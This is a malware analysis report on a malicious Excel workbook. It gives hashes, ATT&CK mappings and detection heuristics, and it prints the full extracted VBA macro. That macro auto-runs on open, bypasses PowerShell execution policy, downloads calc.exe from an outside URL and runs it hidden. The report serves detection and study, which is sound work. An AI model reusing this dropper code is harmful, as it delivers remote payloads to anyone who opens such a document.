Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 cbe81c6c79730dff…

MALICIOUS

Office (OOXML)

14.2 KB Created: 2021-06-14 04:44:50 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2021-06-20
MD5: f79e2b74cc63215b18e7dab444e3606e SHA-1: 7567c22d28157b3d35f23eeed3f2ca00b06fe909 SHA-256: cbe81c6c79730dff592e63688855127d6e44d212736b3c68816e23399a2aa0fd
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an Excel document containing a Workbook_Open VBA macro. This macro utilizes WScript.Shell to construct and execute a PowerShell command. The command downloads a file named 'calc.exe' from the provided URL to the temporary directory and then executes it. This indicates a macro-based downloader designed to execute a second-stage payload.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Dim cmd
        Set sh = CreateObject("WScript.Shell")
        cmd = "powershell -executionpolicy bypass -command "
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        Set sh = CreateObject("WScript.Shell")
        cmd = "powershell -executionpolicy bypass -command "
        cmd = cmd & "invoke-webrequest "
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim cmd
        Set sh = CreateObject("WScript.Shell")
        cmd = "powershell -executionpolicy bypass -command "
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub workbook_open()
        dropper
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://github.com/ox0xo/ox0xo.github.io/raw/master/artifact/calc.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1650 bytes
SHA-256: 888e62b161f073ffc2e56dc2ff88309b90ded7ae7289ff0dadbdb7b73c276c91
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub workbook_open()
    dropper
End Sub

Private Sub dropper()
    Dim sh
    Dim cmd
    Set sh = CreateObject("WScript.Shell")
    cmd = "powershell -executionpolicy bypass -command "
    cmd = cmd & "invoke-webrequest "
    cmd = cmd & "https://github.com/ox0xo/ox0xo.github.io/raw/master/artifact/calc.exe "
    cmd = cmd & "-outfile %tmp%/calc.exe;"
    cmd = cmd & "%tmp%/calc.exe"
    sh.Run cmd, 0, False
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 17408 bytes
SHA-256: 8045ce72f1c3adc08ad8757ff29cfc5d99af95c9ea5b80b3010713647ed40b63